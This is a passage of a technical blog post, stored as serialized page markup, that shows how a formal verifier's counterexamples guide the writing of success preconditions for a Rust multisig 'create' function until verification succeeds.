members",{"type":24,"tag":271,"props":31008,"children":31009},{"style":624},[31010],{"type":29,"value":12210},{"type":24,"tag":271,"props":31012,"children":31013},{"style":3887},[31014],{"type":29,"value":29075},{"type":24,"tag":271,"props":31016,"children":31017},{"style":288},[31018],{"type":29,"value":801},{"type":24,"tag":271,"props":31020,"children":31021},{"style":3887},[31022],{"type":29,"value":29084},{"type":24,"tag":271,"props":31024,"children":31025},{"style":288},[31026],{"type":29,"value":13855},{"type":24,"tag":271,"props":31028,"children":31029},{"class":273,"line":464},[31030,31034,31038,31042],{"type":24,"tag":271,"props":31031,"children":31032},{"style":288},[31033],{"type":29,"value":8823},{"type":24,"tag":271,"props":31035,"children":31036},{"style":624},[31037],{"type":29,"value":786},{"type":24,"tag":271,"props":31039,"children":31040},{"style":3887},[31041],{"type":29,"value":21462},{"type":24,"tag":271,"props":31043,"children":31044},{"style":288},[31045],{"type":29,"value":28019},{"type":24,"tag":271,"props":31047,"children":31048},{"class":273,"line":473},[31049],{"type":24,"tag":271,"props":31050,"children":31051},{"style":2058},[31052],{"type":29,"value":31053}," // sort the members and remove duplicates\n",{"type":24,"tag":271,"props":31055,"children":31056},{"class":273,"line":483},[31057,31061,31065,31070,31074,31078],{"type":24,"tag":271,"props":31058,"children":31059},{"style":278},[31060],{"type":29,"value":10738},{"type":24,"tag":271,"props":31062,"children":31063},{"style":278},[31064],{"type":29,"value":10743},{"type":24,"tag":271,"props":31066,"children":31067},{"style":630},[31068],{"type":29,"value":31069}," members",{"type":24,"tag":271,"props":31071,"children":31072},{"style":624},[31073],{"type":29,"value":1712},{"type":24,"tag":271,"props":31075,"children":31076},{"style":630},[31077],{"type":29,"value":31069},{"type":24,"tag":271,"props":31079,"children":31080},{"style":288},[31081],{"type":29,"value":1069},{"type":24,"tag":271,"props":31083,"children":31084},{"class":273,"line":491},[31085,31089,31093,31098],{"type":24,"tag":271,"props":31086,"children":31087},{"style":630},[31088],{"type":29,"value":31006},{"type":24,"tag":271,"props":31090,"children":31091},{"style":624},[31092],{"type":29,"value":41},{"type":24,"tag":271,"props":31094,"children":31095},{"style":598},[31096],{"type":29,"value":31097},"sort",{"type":24,"tag":271,"props":31099,"children":31100},{"style":288},[31101],{"type":29,"value":4230},{"type":24,"tag":271,"props":31103,"children":31104},{"class":273,"line":499},[31105,31109,31113,31118],{"type":24,"tag":271,"props":31106,"children":31107},{"style":630},[31108],{"type":29,"value":31006},{"type":24,"tag":271,"props":31110,"children":31111},{"style":624},[31112],{"type":29,"value":41},{"type":24,"tag":271,"props":31114,"children":31115},{"style":598},[31116],{"type":29,"value":31117},"dedup",{"type":24,"tag":271,"props":31119,"children":31120},{"style":288},[31121],{"type":29,"value":4230},{"type":24,"tag":271,"props":31123,"children":31124},{"class":273,"line":3188},[31125],{"type":24,"tag":271,"props":31126,"children":31127},{"emptyLinePlaceholder":16},[31128],{"type":29,"value":327},{"type":24,"tag":271,"props":31130,"children":31131},{"class":273,"line":3247},[31132],{"type":24,"tag":271,"props":31133,"children":31134},{"style":2058},[31135],{"type":29,"value":31136}," // check we don't exceed u16\n",{"type":24,"tag":271,"props":31138,"children":31139},{"class":273,"line":3255},[31140,31144,31149,31153,31157,31161,31165],{"type":24,"tag":271,"props":31141,"children":31142},{"style":278},[31143],{"type":29,"value":10738},{"type":24,"tag":271,"props":31145,"children":31146},{"style":630},[31147],{"type":29,"value":31148}," total_members",{"type":24,"tag":271,"props":31150,"children":31151},{"style":624},[31152],{"type":29,"value":1712},{"type":24,"tag":271,"props":31154,"children":31155},{"style":630},[31156],{"type":29,"value":31069},{"type":24,"tag":271,"props":31158,"children":31159},{"style":624},[31160],{"type":29,"value":41},{"type":24,"tag":271,"props":31162,"children":31163},{"style":598},[31164],{"type":29,"value":8335},{"type":24,"tag":271,"props":31166,"children":31167},{"style":288},[31168],{"type":29,"value":4230},{"type":24,"tag":271,"props":31170,"children":31171},{"class":273,"line":3263},[31172,31176,31180,31184,31188],{"type":24,"tag":271,"props":31173,"children":31174},{"style":749},[31175],{"type":29,"value":5025},{"type":24,"tag":271,"props":31177,"children":31178},{"style":630},[31179],{"type":29,"value":31148},{"type":24,"tag":271,"props":31181,"children":31182},{"style":624},[31183],{"type":29,"value":16432},{"type":24,"tag":271,"props":31185,"children":31186},{"style":477},[31187],{"type":29,"value":824},{"type":24,"tag":271,"props":31189,"children":31190},{"style":288},[31191],{"type":29,"value":7145},{"type":24,"tag":271,"props":31193,"children":31194},{"class":273,"line":3293},[31195,31199,31204,31208,31213,31217,31222],{"type":24,"tag":271,"props":31196,"children":31197},{"style":749},[31198],{"type":29,"value":8905},{"type":24,"tag":271,"props":31200,"children":31201},{"style":598},[31202],{"type":29,"value":31203}," err!",{"type":24,"tag":271,"props":31205,"children":31206},{"style":288},[31207],{"type":29,"value":606},{"type":24,"tag":271,"props":31209,"children":31210},{"style":3887},[31211],{"type":29,"value":31212},"MsError",{"type":24,"tag":271,"props":31214,"children":31215},{"style":624},[31216],{"type":29,"value":11207},{"type":24,"tag":271,"props":31218,"children":31219},{"style":3887},[31220],{"type":29,"value":31221},"EmptyMembers",{"type":24,"tag":271,"props":31223,"children":31224},{"style":288},[31225],{"type":29,"value":1155},{"type":24,"tag":271,"props":31227,"children":31228},{"class":273,"line":3301},[31229],{"type":24,"tag":271,"props":31230,"children":31231},{"style":288},[31232],{"type":29,"value":4385},{"type":24,"tag":271,"props":31234,"children":31235},{"class":273,"line":3683},[31236],{"type":24,"tag":271,"props":31237,"children":31238},{"emptyLinePlaceholder":16},[31239],{"type":29,"value":327},{"type":24,"tag":271,"props":31241,"children":31242},{"class":273,"line":4486},[31243],{"type":24,"tag":271,"props":31244,"children":31245},{"style":2058},[31246],{"type":29,"value":31247}," // make sure we don't exceed u16 on first call\n",{"type":24,"tag":271,"props":31249,"children":31250},{"class":273,"line":4509},[31251,31255,31259,31263,31267,31271,31275,31280,31284],{"type":24,"tag":271,"props":31252,"children":31253},{"style":749},[31254],{"type":29,"value":5025},{"type":24,"tag":271,"props":31256,"children":31257},{"style":630},[31258],{"type":29,"value":31148},{"type":24,"tag":271,"props":31260,"children":31261},{"style":624},[31262],{"type":29,"value":21892},{"type":24,"tag":271,"props":31264,"children":31265},{"style":3887},[31266],{"type":29,"value":21432},{"type":24,"tag":271,"props":31268,"children":31269},{"style":624},[31270],{"type":29,"value":11207},{"type":24,"tag":271,"props":31272,"children":31273},{"style":598},[31274],{"type":29,"value":27162},{"type":24,"tag":271,"props":31276,"children":31277},{"style":288},[31278],{"type":29,"value":31279},"(u16",{"type":24,"tag":271,"props":31281,"children":31282},{"style":624},[31283],{"type":29,"value":11207},{"type":24,"tag":271,"props":31285,"children":31286},{"style":288},[31287],{"type":29,"value":31288},"MAX) {\n",{"type":24,"tag":271,"props":31290,"children":31291},{"class":273,"line":4545},[31292,31296,31300,31304,31308,31312,31317],{"type":24,"tag":271,"props":31293,"children":31294},{"style":749},[31295],{"type":29,"value":8905},{"type":24,"tag":271,"props":31297,"children":31298},{"style":598},[31299],{"type":29,"value":31203},{"type":24,"tag":271,"props":31301,"children":31302},{"style":288},[31303],{"type":29,"value":606},{"type":24,"tag":271,"props":31305,"children":31306},{"style":3887},[31307],{"type":29,"value":31212},{"type":24,"tag":271,"props":31309,"children":31310},{"style":624},[31311],{"type":29,"value":11207},{"type":24,"tag":271,"props":31313,"children":31314},{"style":3887},[31315],{"type":29,"value":31316},"MaxMembersReached",{"type":24,"tag":271,"props":31318,"children":31319},{"style":288},[31320],{"type":29,"value":1155},{"type":24,"tag":271,"props":31322,"children":31323},{"class":273,"line":4591},[31324],{"type":24,"tag":271,"props":31325,"children":31326},{"style":288},[31327],{"type":29,"value":4385},{"type":24,"tag":271,"props":31329,"children":31330},{"class":273,"line":4628},[31331],{"type":24,"tag":271,"props":31332,"children":31333},{"emptyLinePlaceholder":16},[31334],{"type":29,"value":327},{"type":24,"tag":271,"props":31336,"children":31337},{"class":273,"line":4658},[31338],{"type":24,"tag":271,"props":31339,"children":31340},{"style":2058},[31341],{"type":29,"value":31342}," // make sure threshold is valid\n",{"type":24,"tag":271,"props":31344,"children":31345},{"class":273,"line":4666},[31346,31350,31354,31358,31362,31366,31370,31375,31379,31383,31387,31391,31395,31399,31403,31408,31413],{"type":24,"tag":271,"props":31347,"children":31348},{"style":749},[31349],{"type":29,"value":5025},{"type":24,"tag":271,"props":31351,"children":31352},{"style":3887},[31353],{"type":29,"value":21432},{"type":24,"tag":271,"props":31355,"children":31356},{"style":624},[31357],{"type":29,"value":11207},{"type":24,"tag":271,"props":31359,"children":31360},{"style":598},[31361],{"type":29,"value":27162},{"type":24,"tag":271,"props":31363,"children":31364},{"style":288},[31365],{"type":29,"value":606},{"type":24,"tag":271,"props":31367,"children":31368},{"style":630},[31369],{"type":29,"value":30435},{"type":24,"tag":271,"props":31371,"children":31372},{"style":288},[31373],{"type":29,"value":31374},") \u003C ",{"type":24,"tag":271,"props":31376,"children":31377},{"style":477},[31378],{"type":29,"value":156},{"type":24,"tag":271,"props":31380,"children":31381},{"style":624},[31382],{"type":29,"value":2675},{"type":24,"tag":271,"props":31384,"children":31385},{"style":3887},[31386],{"type":29,"value":21432},{"type":24,"tag":271,"props":31388,"children":31389},{"style":624},[31390],{"type":29,"value":11207},{"type":24,"tag":271,"props":31392,"children":31393},{"style":598},[31394],{"type":29,"value":27162},{"type":24,"tag":271,"props":31396,"children":31397},{"style":288},[31398],{"type":29,"value":606},{"type":24,"tag":271,"props":31400,"children":31401},{"style":630},[31402],{"type":29,"value":30435},{"type":24,"tag":271,"props":31404,"children":31405},{"style":288},[31406],{"type":29,"value":31407},") > ",{"type":24,"tag":271,"props":31409,"children":31410},{"style":630},[31411],{"type":29,"value":31412},"total_members",{"type":24,"tag":271,"props":31414,"children":31415},{"style":288},[31416],{"type":29,"value":7145},{"type":24,"tag":271,"props":31418,"children":31419},{"class":273,"line":4674},[31420,31424,31428,31432,31436,31440,31445],{"type":24,"tag":271,"props":31421,"children":31422},{"style":749},[31423],{"type":29,"value":8905},{"type":24,"tag":271,"props":31425,"children":31426},{"style":598},[31427],{"type":29,"value":31203},{"type":24,"tag":271,"props":31429,"children":31430},{"style":288},[31431],{"type":29,"value":606},{"type":24,"tag":271,"props":31433,"children":31434},{"style":3887},[31435],{"type":29,"value":31212},{"type":24,"tag":271,"props":31437,"children":31438},{"style":624},[31439],{"type":29,"value":11207},{"type":24,"tag":271,"props":31441,"children":31442},{"style":3887},[31443],{"type":29,"value":31444},"InvalidThreshold",{"type":24,"tag":271,"props":31446,"children":31447},{"style":288},[31448],{"type":29,"value":1155},{"type":24,"tag":271,"props":31450,"children":31451},{"class":273,"line":4683},[31452],{"type":24,"tag":271,"props":31453,"children":31454},{"style":288},[31455],{"type":29,"value":4385},{"type":24,"tag":271,"props":31457,"children":31458},{"class":273,"line":4691},[31459],{"type":24,"tag":271,"props":31460,"children":31461},{"emptyLinePlaceholder":16},[31462],{"type":29,"value":327},{"type":24,"tag":271,"props":31464,"children":31465},{"class":273,"line":4708},[31466,31470,31474,31478,31482,31487,31491,31495],{"type":24,"tag":271,"props":31467,"children":31468},{"style":630},[31469],{"type":29,"value":27912},{"type":24,"tag":271,"props":31471,"children":31472},{"style":624},[31473],{"type":29,"value":41},{"type":24,"tag":271,"props":31475,"children":31476},{"style":288},[31477],{"type":29,"value":22373},{"type":24,"tag":271,"props":31479,"children":31480},{"style":624},[31481],{"type":29,"value":41},{"type":24,"tag":271,"props":31483,"children":31484},{"style":288},[31485],{"type":29,"value":31486},"multisig",{"type":24,"tag":271,"props":31488,"children":31489},{"style":624},[31490],{"type":29,"value":41},{"type":24,"tag":271,"props":31492,"children":31493},{"style":598},[31494],{"type":29,"value":28427},{"type":24,"tag":271,"props":31496,"children":31497},{"style":288},[31498],{"type":29,"value":4028},{"type":24,"tag":271,"props":31500,"children":31501},{"class":273,"line":4716},[31502,31507],{"type":24,"tag":271,"props":31503,"children":31504},{"style":630},[31505],{"type":29,"value":31506}," threshold",{"type":24,"tag":271,"props":31508,"children":31509},{"style":288},[31510],{"type":29,"value":638},{"type":24,"tag":271,"props":31512,"children":31513},{"class":273,"line":10423},[31514,31519],{"type":24,"tag":271,"props":31515,"children":31516},{"style":630},[31517],{"type":29,"value":31518}," create_key",{"type":24,"tag":271,"props":31520,"children":31521},{"style":288},[31522],{"type":29,"value":638},{"type":24,"tag":271,"props":31524,"children":31525},{"class":273,"line":10431},[31526,31531],{"type":24,"tag":271,"props":31527,"children":31528},{"style":630},[31529],{"type":29,"value":31530}," members",{"type":24,"tag":271,"props":31532,"children":31533},{"style":288},[31534],{"type":29,"value":638},{"type":24,"tag":271,"props":31536,"children":31537},{"class":273,"line":10439},[31538,31542,31546,31550,31555,31559,31563,31567,31572,31576,31580,31584],{"type":24,"tag":271,"props":31539,"children":31540},{"style":624},[31541],{"type":29,"value":7582},{"type":24,"tag":271,"props":31543,"children":31544},{"style":630},[31545],{"type":29,"value":633},{"type":24,"tag":271,"props":31547,"children":31548},{"style":624},[31549],{"type":29,"value":41},{"type":24,"tag":271,"props":31551,"children":31552},{"style":288},[31553],{"type":29,"value":31554},"bumps",{"type":24,"tag":271,"props":31556,"children":31557},{"style":624},[31558],{"type":29,"value":41},{"type":24,"tag":271,"props":31560,"children":31561},{"style":598},[31562],{"type":29,"value":24048},{"type":24,"tag":271,"props":31564,"children":31565},{"style":288},[31566],{"type":29,"value":606},{"type":24,"tag":271,"props":31568,"children":31569},{"style":378},[31570],{"type":29,"value":31571},"\"multisig\"",{"type":24,"tag":271,"props":31573,"children":31574},{"style":288},[31575],{"type":29,"value":2693},{"type":24,"tag":271,"props":31577,"children":31578},{"style":624},[31579],{"type":29,"value":41},{"type":24,"tag":271,"props":31581,"children":31582},{"style":598},[31583],{"type":29,"value":11391},{"type":24,"tag":271,"props":31585,"children":31586},{"style":288},[31587],{"type":29,"value":11217},{"type":24,"tag":271,"props":31589,"children":31590},{"class":273,"line":10447},[31591],{"type":24,"tag":271,"props":31592,"children":31593},{"style":288},[31594],{"type":29,"value":31595}," )\n",{"type":24,"tag":271,"props":31597,"children":31598},{"class":273,"line":10468},[31599],{"type":24,"tag":271,"props":31600,"children":31601},{"style":288},[31602],{"type":29,"value":1171},{"type":24,"tag":25,"props":31604,"children":31605},{},[31606,31608,31613,31615,31620],{"type":29,"value":31607},"We can start by testing an empty ",{"type":24,"tag":135,"props":31609,"children":31611},{"className":31610},[],[31612],{"type":29,"value":27843},{"type":29,"value":31614}," (this will default to ",{"type":24,"tag":135,"props":31616,"children":31618},{"className":31617},[],[31619],{"type":29,"value":5670},{"type":29,"value":31621},"):",{"type":24,"tag":261,"props":31623,"children":31625},{"code":31624,"language":10717,"meta":7,"className":10718,"style":7},"#[succeeds_if()]\npub fn create(...) { ... }\n",[31626],{"type":24,"tag":135,"props":31627,"children":31628},{"__ignoreMap":7},[31629,31637],{"type":24,"tag":271,"props":31630,"children":31631},{"class":273,"line":274},[31632],{"type":24,"tag":271,"props":31633,"children":31634},{"style":288},[31635],{"type":29,"value":31636},"#[succeeds_if()]\n",{"type":24,"tag":271,"props":31638,"children":31639},{"class":273,"line":284},[31640,31644,31648,31652,31656,31660,31665,31669],{"type":24,"tag":271,"props":31641,"children":31642},{"style":278},[31643],{"type":29,"value":21391},{"type":24,"tag":271,"props":31645,"children":31646},{"style":278},[31647],{"type":29,"value":21396},{"type":24,"tag":271,"props":31649,"children":31650},{"style":598},[31651],{"type":29,"value":14829},{"type":24,"tag":271,"props":31653,"children":31654},{"style":288},[31655],{"type":29,"value":606},{"type":24,"tag":271,"props":31657,"children":31658},{"style":624},[31659],{"type":29,"value":17298},{"type":24,"tag":271,"props":31661,"children":31662},{"style":288},[31663],{"type":29,"value":31664},") { ",{"type":24,"tag":271,"props":31666,"children":31667},{"style":624},[31668],{"type":29,"value":17298},{"type":24,"tag":271,"props":31670,"children":31671},{"style":288},[31672],{"type":29,"value":1163},{"type":24,"tag":25,"props":31674,"children":31675},{},[31676],{"type":29,"value":31677},"Running the solver, we get:",{"type":24,"tag":261,"props":31679,"children":31681},{"code":31680},"...\nVERIFICATION:- FAILED\nVerification Time: 6.404167s\n",[31682],{"type":24,"tag":135,"props":31683,"children":31684},{"__ignoreMap":7},[31685],{"type":29,"value":31680},{"type":24,"tag":25,"props":31687,"children":31688},{},[31689,31691,31696],{"type":29,"value":31690},"This means that ",{"type":24,"tag":135,"props":31692,"children":31694},{"className":31693},[],[31695],{"type":29,"value":5670},{"type":29,"value":31697}," does not imply that the function will succeed (which is expected looking at the implementation above).",{"type":24,"tag":25,"props":31699,"children":31700},{},[31701],{"type":29,"value":31702},"We can ask the solver to produce a counterexample:",{"type":24,"tag":261,"props":31704,"children":31706},{"code":31705},"threshold: 33764\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[31707],{"type":24,"tag":135,"props":31708,"children":31709},{"__ignoreMap":7},[31710],{"type":29,"value":31705},{"type":24,"tag":25,"props":31712,"children":31713},{},[31714],{"type":29,"value":31715},"In this case, we can see that the threshold is invalid; it should not be larger than the number of members.",{"type":24,"tag":25,"props":31717,"children":31718},{},[31719],{"type":24,"tag":10648,"props":31720,"children":31721},{},[31722,31724,31730],{"type":29,"value":31723},"Note also that the verifier decided to use a ",{"type":24,"tag":135,"props":31725,"children":31727},{"className":31726},[],[31728],{"type":29,"value":31729},"SparseVec",{"type":29,"value":31731}," which is one of our custom vec implementations. In this case, the code we are verifying doesn't actually read or write to the vector and so we can model it simply as a symbolic size (with no data).",{"type":24,"tag":25,"props":31733,"children":31734},{},[31735],{"type":24,"tag":10648,"props":31736,"children":31737},{},[31738,31740,31745,31746,31752,31754,31759,31761,31766],{"type":29,"value":31739},"Using a sparse vec rather than a concrete vec is generally preferred as it speeds up computation and allows us to model arbitrarily sized vecs. ",{"type":24,"tag":135,"props":31741,"children":31743},{"className":31742},[],[31744],{"type":29,"value":11535},{"type":29,"value":518},{"type":24,"tag":135,"props":31747,"children":31749},{"className":31748},[],[31750],{"type":29,"value":31751},"pop",{"type":29,"value":31753}," are stubbed out to simply panic for the ",{"type":24,"tag":135,"props":31755,"children":31757},{"className":31756},[],[31758],{"type":29,"value":31729},{"type":29,"value":31760}," and if this code tried to do that we would fall back to the concrete ",{"type":24,"tag":135,"props":31762,"children":31764},{"className":31763},[],[31765],{"type":29,"value":24904},{"type":29,"value":31767}," type.",{"type":24,"tag":25,"props":31769,"children":31770},{},[31771],{"type":29,"value":31772},"We can add this to our constraint and try again:",{"type":24,"tag":261,"props":31774,"children":31776},{"code":31775,"language":10717,"meta":7,"className":10718,"style":7},"#[succeeds_if(\n (threshold as usize) \u003C= members.len()\n)]\npub fn create(...) { ... }\n",[31777],{"type":24,"tag":135,"props":31778,"children":31779},{"__ignoreMap":7},[31780,31788,31825,31832],{"type":24,"tag":271,"props":31781,"children":31782},{"class":273,"line":274},[31783],{"type":24,"tag":271,"props":31784,"children":31785},{"style":288},[31786],{"type":29,"value":31787},"#[succeeds_if(\n",{"type":24,"tag":271,"props":31789,"children":31790},{"class":273,"line":284},[31791,31796,31800,31804,31808,31812,31816,31820],{"type":24,"tag":271,"props":31792,"children":31793},{"style":288},[31794],{"type":29,"value":31795}," (threshold ",{"type":24,"tag":271,"props":31797,"children":31798},{"style":278},[31799],{"type":29,"value":16555},{"type":24,"tag":271,"props":31801,"children":31802},{"style":3887},[31803],{"type":29,"value":21432},{"type":24,"tag":271,"props":31805,"children":31806},{"style":288},[31807],{"type":29,"value":8823},{"type":24,"tag":271,"props":31809,"children":31810},{"style":624},[31811],{"type":29,"value":27103},{"type":24,"tag":271,"props":31813,"children":31814},{"style":288},[31815],{"type":29,"value":31069},{"type":24,"tag":271,"props":31817,"children":31818},{"style":624},[31819],{"type":29,"value":41},{"type":24,"tag":271,"props":31821,"children":31822},{"style":288},[31823],{"type":29,"value":31824},"len()\n",{"type":24,"tag":271,"props":31826,"children":31827},{"class":273,"line":294},[31828],{"type":24,"tag":271,"props":31829,"children":31830},{"style":288},[31831],{"type":29,"value":27947},{"type":24,"tag":271,"props":31833,"children":31834},{"class":273,"line":303},[31835,31839,31843,31847,31851,31855,31859,31863],{"type":24,"tag":271,"props":31836,"children":31837},{"style":278},[31838],{"type":29,"value":21391},{"type":24,"tag":271,"props":31840,"children":31841},{"style":278},[31842],{"type":29,"value":21396},{"type":24,"tag":271,"props":31844,"children":31845},{"style":598},[31846],{"type":29,"value":14829},{"type":24,"tag":271,"props":31848,"children":31849},{"style":288},[31850],{"type":29,"value":606},{"type":24,"tag":271,"props":31852,"children":31853},{"style":624},[31854],{"type":29,"value":17298},{"type":24,"tag":271,"props":31856,"children":31857},{"style":288},[31858],{"type":29,"value":31664},{"type":24,"tag":271,"props":31860,"children":31861},{"style":624},[31862],{"type":29,"value":17298},{"type":24,"tag":271,"props":31864,"children":31865},{"style":288},[31866],{"type":29,"value":1163},{"type":24,"tag":25,"props":31868,"children":31869},{},[31870],{"type":29,"value":31871},"Verification failed again! This time we get a different counterexample:",{"type":24,"tag":261,"props":31873,"children":31875},{"code":31874},"threshold: 0\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[31876],{"type":24,"tag":135,"props":31877,"children":31878},{"__ignoreMap":7},[31879],{"type":29,"value":31874},{"type":24,"tag":25,"props":31881,"children":31882},{},[31883],{"type":29,"value":31884},"Aha! The threshold cannot be 0 either... Let's try again:",{"type":24,"tag":261,"props":31886,"children":31888},{"code":31887,"language":10717,"meta":7,"className":10718,"style":7},"#[succeeds_if(\n (threshold as usize) \u003C= members.len()\n && threshold != 0\n)]\npub fn create(...) { ... }\n",[31889],{"type":24,"tag":135,"props":31890,"children":31891},{"__ignoreMap":7},[31892,31899,31934,31955,31962],{"type":24,"tag":271,"props":31893,"children":31894},{"class":273,"line":274},[31895],{"type":24,"tag":271,"props":31896,"children":31897},{"style":288},[31898],{"type":29,"value":31787},{"type":24,"tag":271,"props":31900,"children":31901},{"class":273,"line":284},[31902,31906,31910,31914,31918,31922,31926,31930],{"type":24,"tag":271,"props":31903,"children":31904},{"style":288},[31905],{"type":29,"value":31795},{"type":24,"tag":271,"props":31907,"children":31908},{"style":278},[31909],{"type":29,"value":16555},{"type":24,"tag":271,"props":31911,"children":31912},{"style":3887},[31913],{"type":29,"value":21432},{"type":24,"tag":271,"props":31915,"children":31916},{"style":288},[31917],{"type":29,"value":8823},{"type":24,"tag":271,"props":31919,"children":31920},{"style":624},[31921],{"type":29,"value":27103},{"type":24,"tag":271,"props":31923,"children":31924},{"style":288},[31925],{"type":29,"value":31069},{"type":24,"tag":271,"props":31927,"children":31928},{"style":624},[31929],{"type":29,"value":41},{"type":24,"tag":271,"props":31931,"children":31932},{"style":288},[31933],{"type":29,"value":31824},{"type":24,"tag":271,"props":31935,"children":31936},{"class":273,"line":294},[31937,31941,31946,31950],{"type":24,"tag":271,"props":31938,"children":31939},{"style":624},[31940],{"type":29,"value":23319},{"type":24,"tag":271,"props":31942,"children":31943},{"style":288},[31944],{"type":29,"value":31945}," threshold ",{"type":24,"tag":271,"props":31947,"children":31948},{"style":624},[31949],{"type":29,"value":23386},{"type":24,"tag":271,"props":31951,"children":31952},{"style":288},[31953],{"type":29,"value":31954}," 0\n",{"type":24,"tag":271,"props":31956,"children":31957},{"class":273,"line":303},[31958],{"type":24,"tag":271,"props":31959,"children":31960},{"style":288},[31961],{"type":29,"value":27947},{"type":24,"tag":271,"props":31963,"children":31964},{"class":273,"line":312},[31965,31969,31973,31977,31981,31985,31989,31993],{"type":24,"tag":271,"props":31966,"children":31967},{"style":278},[31968],{"type":29,"value":21391},{"type":24,"tag":271,"props":31970,"children":31971},{"style":278},[31972],{"type":29,"value":21396},{"type":24,"tag":271,"props":31974,"children":31975},{"style":598},[31976],{"type":29,"value":14829},{"type":24,"tag":271,"props":31978,"children":31979},{"style":288},[31980],{"type":29,"value":606},{"type":24,"tag":271,"props":31982,"children":31983},{"style":624},[31984],{"type":29,"value":17298},{"type":24,"tag":271,"props":31986,"children":31987},{"style":288},[31988],{"type":29,"value":31664},{"type":24,"tag":271,"props":31990,"children":31991},{"style":624},[31992],{"type":29,"value":17298},{"type":24,"tag":271,"props":31994,"children":31995},{"style":288},[31996],{"type":29,"value":1163},{"type":24,"tag":25,"props":31998,"children":31999},{},[32000],{"type":29,"value":32001},"A third counterexample:",{"type":24,"tag":261,"props":32003,"children":32005},{"code":32004},"threshold: 4\ncreate_key: ...\nmembers: SparseVec { size: 536870920 }\n",[32006],{"type":24,"tag":135,"props":32007,"children":32008},{"__ignoreMap":7},[32009],{"type":29,"value":32004},{"type":24,"tag":25,"props":32011,"children":32012},{},[32013,32015,32021],{"type":29,"value":32014},"Here we see the size of our ",{"type":24,"tag":135,"props":32016,"children":32018},{"className":32017},[],[32019],{"type":29,"value":32020},"members",{"type":29,"value":32022}," vec is huge! We need to constrain that to be less than u16::MAX:",{"type":24,"tag":261,"props":32024,"children":32026},{"code":32025,"language":10717,"meta":7,"className":10718,"style":7},"#[succeeds_if(\n (threshold as usize) \u003C= members.len()\n && (threshold != 0)\n && (members.len() \u003C= (u16::MAX as usize))\n)]\npub fn create(...) { ... }\n",[32027],{"type":24,"tag":135,"props":32028,"children":32029},{"__ignoreMap":7},[32030,32037,32072,32093,32145,32152],{"type":24,"tag":271,"props":32031,"children":32032},{"class":273,"line":274},[32033],{"type":24,"tag":271,"props":32034,"children":32035},{"style":288},[32036],{"type":29,"value":31787},{"type":24,"tag":271,"props":32038,"children":32039},{"class":273,"line":284},[32040,32044,32048,32052,32056,32060,32064,32068],{"type":24,"tag":271,"props":32041,"children":32042},{"style":288},[32043],{"type":29,"value":31795},{"type":24,"tag":271,"props":32045,"children":32046},{"style":278},[32047],{"type":29,"value":16555},{"type":24,"tag":271,"props":32049,"children":32050},{"style":3887},[32051],{"type":29,"value":21432},{"type":24,"tag":271,"props":32053,"children":32054},{"style":288},[32055],{"type":29,"value":8823},{"type":24,"tag":271,"props":32057,"children":32058},{"style":624},[32059],{"type":29,"value":27103},{"type":24,"tag":271,"props":32061,"children":32062},{"style":288},[32063],{"type":29,"value":31069},{"type":24,"tag":271,"props":32065,"children":32066},{"style":624},[32067],{"type":29,"value":41},{"type":24,"tag":271,"props":32069,"children":32070},{"style":288},[32071],{"type":29,"value":31824},{"type":24,"tag":271,"props":32073,"children":32074},{"class":273,"line":294},[32075,32079,32084,32088],{"type":24,"tag":271,"props":32076,"children":32077},{"style":624},[32078],{"type":29,"value":23319},{"type":24,"tag":271,"props":32080,"children":32081},{"style":288},[32082],{"type":29,"value":32083}," (threshold ",{"type":24,"tag":271,"props":32085,"children":32086},{"style":624},[32087],{"type":29,"value":23386},{"type":24,"tag":271,"props":32089,"children":32090},{"style":288},[32091],{"type":29,"value":32092}," 0)\n",{"type":24,"tag":271,"props":32094,"children":32095},{"class":273,"line":303},[32096,32100,32104,32108,32112,32116,32120,32125,32129,32133,32137,32141],{"type":24,"tag":271,"props":32097,"children":32098},{"style":624},[32099],{"type":29,"value":23319},{"type":24,"tag":271,"props":32101,"children":32102},{"style":288},[32103],{"type":29,"value":30684},{"type":24,"tag":271,"props":32105,"children":32106},{"style":624},[32107],{"type":29,"value":41},{"type":24,"tag":271,"props":32109,"children":32110},{"style":288},[32111],{"type":29,"value":28708},{"type":24,"tag":271,"props":32113,"children":32114},{"style":624},[32115],{"type":29,"value":27103},{"type":24,"tag":271,"props":32117,"children":32118},{"style":288},[32119],{"type":29,"value":1357},{"type":24,"tag":271,"props":32121,"children":32122},{"style":3887},[32123],{"type":29,"value":32124},"u16",{"type":24,"tag":271,"props":32126,"children":32127},{"style":624},[32128],{"type":29,"value":11207},{"type":24,"tag":271,"props":32130,"children":32131},{"style":3887},[32132],{"type":29,"value":28726},{"type":24,"tag":271,"props":32134,"children":32135},{"style":278},[32136],{"type":29,"value":16541},{"type":24,"tag":271,"props":32138,"children":32139},{"style":3887},[32140],{"type":29,"value":21432},{"type":24,"tag":271,"props":32142,"children":32143},{"style":288},[32144],{"type":29,"value":27401},{"type":24,"tag":271,"props":32146,"children":32147},{"class":273,"line":312},[32148],{"type":24,"tag":271,"props":32149,"children":32150},{"style":288},[32151],{"type":29,"value":27947},{"type":24,"tag":271,"props":32153,"children":32154},{"class":273,"line":321},[32155,32159,32163,32167,32171,32175,32179,32183],{"type":24,"tag":271,"props":32156,"children":32157},{"style":278},[32158],{"type":29,"value":21391},{"type":24,"tag":271,"props":32160,"children":32161},{"style":278},[32162],{"type":29,"value":21396},{"type":24,"tag":271,"props":32164,"children":32165},{"style":598},[32166],{"type":29,"value":14829},{"type":24,"tag":271,"props":32168,"children":32169},{"style":288},[32170],{"type":29,"value":606},{"type":24,"tag":271,"props":32172,"children":32173},{"style":624},[32174],{"type":29,"value":17298},{"type":24,"tag":271,"props":32176,"children":32177},{"style":288},[32178],{"type":29,"value":31664},{"type":24,"tag":271,"props":32180,"children":32181},{"style":624},[32182],{"type":29,"value":17298},{"type":24,"tag":271,"props":32184,"children":32185},{"style":288},[32186],{"type":29,"value":1163},{"type":24,"tag":25,"props":32188,"children":32189},{},[32190],{"type":29,"value":32191},"And now we get:",{"type":24,"tag":261,"props":32193,"children":32195},{"code":32194},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.6634517s\n",[32196],{"type":24,"tag":135,"props":32197,"children":32198},{"__ignoreMap":7},[32199],{"type":29,"value":32194},{"type":24,"tag":25,"props":32201,"children":32202},{},[32203],{"type":29,"value":32204},"🥳🥳🥳",{"type":24,"tag":25,"props":32206,"children":32207},{},[32208],{"type":29,"value":32209},"The attentive reader may have noticed that we didn't need to verify this 